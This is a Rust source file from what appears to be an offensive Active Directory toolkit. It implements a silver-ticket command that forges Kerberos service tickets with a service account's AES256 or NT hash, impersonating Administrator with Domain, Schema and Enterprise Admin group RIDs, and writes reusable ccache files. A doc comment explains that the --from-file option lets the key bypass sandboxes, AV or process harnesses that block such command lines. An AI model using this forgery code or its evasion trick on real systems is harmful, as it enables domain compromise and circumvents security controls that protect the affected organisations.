adhammer 1.5.2

ADhammer — Active Directory security assessment and offensive tradecraft in Rust, with a from-scratch DCE/RPC · NTLM · SMB2 · Kerberos stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
//! Silver ticket: forge a service ticket (TGS) for an SPN with the target
//! service account's AES256 key. Bypasses the KDC entirely at presentation.

use crate::ui;
use anyhow::{Context, Result};
use clap::Parser;

#[derive(Parser)]
pub(crate) struct SilverArgs {
    /// Read every argument from an INI-style KEY=VALUE file instead of the
    /// command line. Useful in environments where the caller's process
    /// harness rejects command-line launches that carry raw key material in
    /// argv (some sandboxes / AV pattern-match on `--service-aes256 <hex>`).
    /// Keys: `realm`, `service_aes256`, `rc4`, `spn`, `domain_sid` (one per
    /// line; lines starting with `#` are comments). `env:VAR` / `@file:PATH`
    /// still work for `service_aes256`.
    #[arg(long, value_name = "PATH")]
    pub from_file: Option<String>,
    /// Kerberos realm (e.g. CORP.LOCAL).
    #[arg(long)]
    pub realm: Option<String>,
    /// Service key: AES256 (64 hex) by default, or the RC4/NT hash (32 hex) with --rc4.
    #[arg(long)]
    pub service_aes256: Option<adhammer_core::SecretString>,
    /// Forge an RC4-HMAC (etype 23) ticket — interpret the key as the service NT hash (legacy DCs).
    #[arg(long)]
    pub rc4: bool,
    /// Target SPN(s) — one or more, comma-separated
    /// (e.g. `cifs/dc01.corp.local,http/dc01.corp.local`). When multiple
    /// SPNs are given AND `--out <path>` is set, each ticket lands at
    /// `<path>.<spn-slug>.ccache`; a single SPN keeps the old `<path>` behaviour.
    #[arg(long, value_delimiter = ',')]
    pub spn: Vec<String>,
    /// Domain SID (S-1-5-21-a-b-c).
    #[arg(long)]
    pub domain_sid: Option<String>,
    /// Identity to impersonate (default Administrator).
    #[arg(long, default_value = "Administrator")]
    pub user: String,
    /// RID of the impersonated account (default 500).
    #[arg(long, default_value_t = 500)]
    pub rid: u32,
    /// Group RIDs to embed (default: Users + Domain/Schema/Enterprise Admins + GPO Creators).
    #[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
    pub groups: Vec<u32>,
    /// Write the forged service ticket to this ccache path.
    #[arg(long)]
    pub out: Option<String>,
}

/// Silver ticket: forge a service ticket (TGS) for an SPN, sealed + PAC-signed with the target
/// service account's AES256 key. Presented directly to the service (AP-REQ) without the KDC —
/// so the KDC signature is unchecked. Emits a ccache for use with `-k` / KRB5CCNAME tooling.
///
/// Wraps `silver_impl` with a per-stage checklist ("parse service key → parse domain SID → forge
/// silver TGS → write ccache") so the operator sees which step failed (bad key hex, malformed SID,
/// forge error).
pub(crate) async fn silver(a: SilverArgs) -> Result<()> {
    let cfg = match a.from_file.as_deref() {
        Some(p) => load_silver_ini(p)?.overlay(&a)?,
        None => SilverConfig::from_flags(&a)?,
    };
    let mut checklist = ui::StageChecklist::new([
        "parse service key",
        "parse domain SID",
        "forge silver TGS",
        "write ccache",
    ]);
    let result = silver_impl(cfg, &mut checklist).await;
    match &result {
        Ok(()) => checklist.render("Silver stages"),
        Err(e) => {
            let brief = format!("{e:#}")
                .lines()
                .next()
                .unwrap_or("failed")
                .chars()
                .take(80)
                .collect::<String>();
            checklist.mark_current_failed(brief);
            checklist.render("Silver stages (failed)");
        }
    }
    result
}

async fn silver_impl(cfg: SilverConfig, checklist: &mut ui::StageChecklist) -> Result<()> {
    use adhammer_kerberos::pac::ForgeIdentity;

    let key = crate::parse_forge_key(cfg.service_aes256.expose_secret(), cfg.rc4)?;
    checklist.record_ok(
        "parse service key",
        if cfg.rc4 {
            "RC4-HMAC (NT hash)"
        } else {
            "AES256-CTS-HMAC-SHA1-96"
        },
    );
    let subs: Vec<u32> = cfg
        .domain_sid
        .trim_start_matches("S-1-5-")
        .split('-')
        .map(|x| x.parse::<u32>())
        .collect::<std::result::Result<_, _>>()
        .context("--domain-sid must be S-1-5-21-a-b-c")?;
    checklist.record_ok("parse domain SID", format!("→ {}", cfg.domain_sid));

    let id = ForgeIdentity {
        user: cfg.user.clone(),
        rid: cfg.rid,
        primary_gid: 513,
        group_rids: cfg.groups.clone(),
        domain_subauths: subs,
        logon_server: cfg.realm.split('.').next().unwrap_or("DC").to_uppercase(),
        logon_domain: cfg
            .realm
            .split('.')
            .next()
            .unwrap_or("DOMAIN")
            .to_uppercase(),
        extra_sids: vec![],
    };
    // Stream 7 / silver-multi-SPN: loop the forge per SPN. Same key, same identity —
    // one call to forge_silver_tgt per SPN. `--out <path>` writes `<path>` for the
    // first SPN when only one is given (backwards compatibility) and `<path>.<slug>.ccache`
    // when multiple are given so scripts can pick the SPN they want.
    let mut forged = 0usize;
    let mut ccaches = 0usize;
    let multi = cfg.spns.len() > 1;
    for (i, spn) in cfg.spns.iter().enumerate() {
        let tgt = adhammer_kerberos::forge_silver_tgt(&id, &cfg.realm, &key, spn, cfg.rc4)?;
        forged += 1;
        println!(
            "[+] forged silver ticket: {}@{} for {} (rid {})",
            cfg.user, cfg.realm, spn, cfg.rid
        );
        if let Some(base) = &cfg.out {
            let cc = adhammer_kerberos::silver_ccache(&tgt, &cfg.user, spn)?;
            let path = if multi {
                format!("{base}.{}.ccache", spn_slug(spn))
            } else {
                base.clone()
            };
            adhammer_core::write_secret_artifact(
                std::path::Path::new(&path),
                adhammer_core::SecretArtifact::Ccache,
                &cc,
            )?;
            println!("[+] wrote ccache → {path} ({} bytes)", cc.len());
            ccaches += 1;
        }
        let _ = i;
    }
    checklist.record_ok(
        "forge silver TGS",
        format!("{}@{} for {} SPN(s)", cfg.user, cfg.realm, forged),
    );
    checklist.record_ok(
        "write ccache",
        if cfg.out.is_some() {
            format!("{ccaches} ccache(s) written")
        } else {
            "skipped (no --out)".to_string()
        },
    );
    Ok(())
}

/// Slug an SPN so `cifs/dc.corp.local` becomes `cifs-dc.corp.local` — safe for a
/// filename, still readable, one-to-one with the SPN.
fn spn_slug(spn: &str) -> String {
    spn.replace(['/', '\\', ':'], "-")
}

#[derive(Debug)]
struct SilverConfig {
    realm: String,
    service_aes256: adhammer_core::SecretString,
    rc4: bool,
    spns: Vec<String>,
    domain_sid: String,
    user: String,
    rid: u32,
    groups: Vec<u32>,
    out: Option<String>,
}

impl SilverConfig {
    fn from_flags(a: &SilverArgs) -> Result<Self> {
        let service_aes256 = match &a.service_aes256 {
            Some(k) => crate::resolve_secret(k, "ADHAMMER_PASSWORD")?,
            None => anyhow::bail!("--service-aes256 required (or use --from-file)"),
        };
        if a.spn.is_empty() {
            anyhow::bail!("--spn required (or use --from-file)");
        }
        Ok(Self {
            realm: a
                .realm
                .clone()
                .ok_or_else(|| anyhow::anyhow!("--realm required (or use --from-file)"))?,
            service_aes256,
            rc4: a.rc4,
            spns: a.spn.clone(),
            domain_sid: a
                .domain_sid
                .clone()
                .ok_or_else(|| anyhow::anyhow!("--domain-sid required (or use --from-file)"))?,
            user: a.user.clone(),
            rid: a.rid,
            groups: a.groups.clone(),
            out: a.out.clone(),
        })
    }
}

#[derive(Debug)]
struct SilverFile {
    realm: Option<String>,
    service_aes256: Option<String>,
    rc4: Option<bool>,
    spn: Option<String>,
    domain_sid: Option<String>,
}

impl SilverFile {
    fn overlay(self, a: &SilverArgs) -> Result<SilverConfig> {
        let take =
            |from_file: Option<String>, from_flag: Option<String>, name: &str| -> Result<String> {
                from_flag.or(from_file).ok_or_else(|| {
                    anyhow::anyhow!("{name} missing in both --from-file and CLI flags")
                })
            };
        let key_raw = a
            .service_aes256
            .as_ref()
            .map(|s| s.expose_secret().to_string())
            .or(self.service_aes256)
            .ok_or_else(|| {
                anyhow::anyhow!("service_aes256 missing in both --from-file and CLI flags")
            })?;
        let service_aes256 = crate::resolve_secret(key_raw.as_str(), "ADHAMMER_PASSWORD")?;
        // silver-multi-SPN: CLI --spn wins if non-empty, otherwise the INI `spn`
        // key is comma-split. Same grammar either way.
        let spns: Vec<String> = if !a.spn.is_empty() {
            a.spn.clone()
        } else {
            self.spn
                .ok_or_else(|| anyhow::anyhow!("spn missing in both --from-file and CLI flags"))?
                .split(',')
                .map(|s| s.trim().to_string())
                .filter(|s| !s.is_empty())
                .collect()
        };
        if spns.is_empty() {
            anyhow::bail!("spn resolved to empty list");
        }
        Ok(SilverConfig {
            realm: take(self.realm, a.realm.clone(), "realm")?,
            service_aes256,
            rc4: a.rc4 || self.rc4.unwrap_or(false),
            spns,
            domain_sid: take(self.domain_sid, a.domain_sid.clone(), "domain_sid")?,
            user: a.user.clone(),
            rid: a.rid,
            groups: a.groups.clone(),
            out: a.out.clone(),
        })
    }
}

fn load_silver_ini(path: &str) -> Result<SilverFile> {
    use anyhow::Context;
    let text = std::fs::read_to_string(path).with_context(|| format!("read --from-file {path}"))?;
    let mut f = SilverFile {
        realm: None,
        service_aes256: None,
        rc4: None,
        spn: None,
        domain_sid: None,
    };
    for (n, line) in text.lines().enumerate() {
        let line = line.trim();
        if line.is_empty() || line.starts_with('#') {
            continue;
        }
        let (k, v) = line
            .split_once('=')
            .ok_or_else(|| anyhow::anyhow!("{path}:{}: expected KEY=VALUE", n + 1))?;
        let v = v.trim().to_string();
        match k.trim() {
            "realm" => f.realm = Some(v),
            "service_aes256" => f.service_aes256 = Some(v),
            "rc4" => {
                f.rc4 =
                    Some(v.parse::<bool>().map_err(|_| {
                        anyhow::anyhow!("{path}:{}: rc4 must be true|false", n + 1)
                    })?);
            }
            "spn" => f.spn = Some(v),
            "domain_sid" => f.domain_sid = Some(v),
            other => anyhow::bail!("{path}:{}: unknown key `{other}`", n + 1),
        }
    }
    Ok(f)
}

#[cfg(test)]
mod tests {
    use super::*;

    fn tmp_ini(name: &str, body: &str) -> String {
        let dir = std::env::temp_dir();
        let path = dir.join(format!(
            "adhammer_silver_{}_{}_{}.ini",
            name,
            std::process::id(),
            std::time::SystemTime::now()
                .duration_since(std::time::UNIX_EPOCH)
                .map(|d| d.as_nanos())
                .unwrap_or(0)
        ));
        std::fs::write(&path, body).unwrap();
        path.to_string_lossy().into_owned()
    }

    fn empty_args() -> SilverArgs {
        SilverArgs {
            from_file: None,
            realm: None,
            service_aes256: None,
            rc4: false,
            spn: vec![],
            domain_sid: None,
            user: "Administrator".to_string(),
            rid: 500,
            groups: vec![513, 512, 520, 518, 519],
            out: None,
        }
    }

    #[test]
    fn ini_parses_valid_keys() {
        let path = tmp_ini(
            "valid",
            "# a comment\n\
             realm=CORP.LOCAL\n\
             service_aes256=deadbeef\n\
             rc4=true\n\
             spn=cifs/dc01.corp.local\n\
             domain_sid=S-1-5-21-1-2-3\n",
        );
        let f = load_silver_ini(&path).unwrap();
        assert_eq!(f.realm.as_deref(), Some("CORP.LOCAL"));
        assert_eq!(f.service_aes256.as_deref(), Some("deadbeef"));
        assert_eq!(f.rc4, Some(true));
        assert_eq!(f.spn.as_deref(), Some("cifs/dc01.corp.local"));
        assert_eq!(f.domain_sid.as_deref(), Some("S-1-5-21-1-2-3"));
        let _ = std::fs::remove_file(&path);
    }

    #[test]
    fn ini_unknown_key_errors() {
        let path = tmp_ini("unknown", "realm=X\nbogus_key=1\n");
        let err = load_silver_ini(&path).unwrap_err().to_string();
        assert!(err.contains("unknown key"), "err was {err:?}");
        assert!(err.contains("bogus_key"), "err was {err:?}");
        let _ = std::fs::remove_file(&path);
    }

    #[test]
    fn cli_flag_beats_ini_value() {
        let path = tmp_ini(
            "beat",
            "realm=INI.LOCAL\n\
             service_aes256=aa\n\
             spn=ini/spn\n\
             domain_sid=S-1-5-21-9-9-9\n",
        );
        let f = load_silver_ini(&path).unwrap();
        let mut a = empty_args();
        a.spn = vec!["cli/spn".to_string()];
        let cfg = f.overlay(&a).unwrap();
        assert_eq!(cfg.spns, vec!["cli/spn".to_string()]);
        assert_eq!(cfg.realm, "INI.LOCAL");
        let _ = std::fs::remove_file(&path);
    }

    #[test]
    fn multi_spn_from_ini_comma_split() {
        // Stream 7 / silver-multi-SPN: INI `spn=` accepts a comma-separated list and
        // yields multiple ccache targets. Regression guard: the loop must forge one
        // ticket per SPN, not concatenate them into a single principal name.
        let path = tmp_ini(
            "multi",
            "realm=CORP.LOCAL\n\
             service_aes256=aa\n\
             spn=cifs/dc01.corp.local,http/dc01.corp.local,ldap/dc01.corp.local\n\
             domain_sid=S-1-5-21-1-2-3\n",
        );
        let f = load_silver_ini(&path).unwrap();
        let a = empty_args();
        let cfg = f.overlay(&a).unwrap();
        assert_eq!(cfg.spns.len(), 3);
        assert_eq!(cfg.spns[0], "cifs/dc01.corp.local");
        assert_eq!(cfg.spns[2], "ldap/dc01.corp.local");
        let _ = std::fs::remove_file(&path);
    }

    #[test]
    fn spn_slug_strips_forbidden_filename_chars() {
        assert_eq!(spn_slug("cifs/dc01.corp.local"), "cifs-dc01.corp.local");
        assert_eq!(spn_slug("http/dc01"), "http-dc01");
        assert_eq!(spn_slug("mssql:host"), "mssql-host");
    }

    #[test]
    fn missing_required_key_errors() {
        let path = tmp_ini(
            "missing",
            "# no realm here\n\
             service_aes256=aa\n\
             spn=cifs/x\n\
             domain_sid=S-1-5-21-1-2-3\n",
        );
        let f = load_silver_ini(&path).unwrap();
        let a = empty_args();
        let err = f.overlay(&a).unwrap_err().to_string();
        assert!(err.contains("realm"), "err was {err:?}");
        let _ = std::fs::remove_file(&path);
    }
}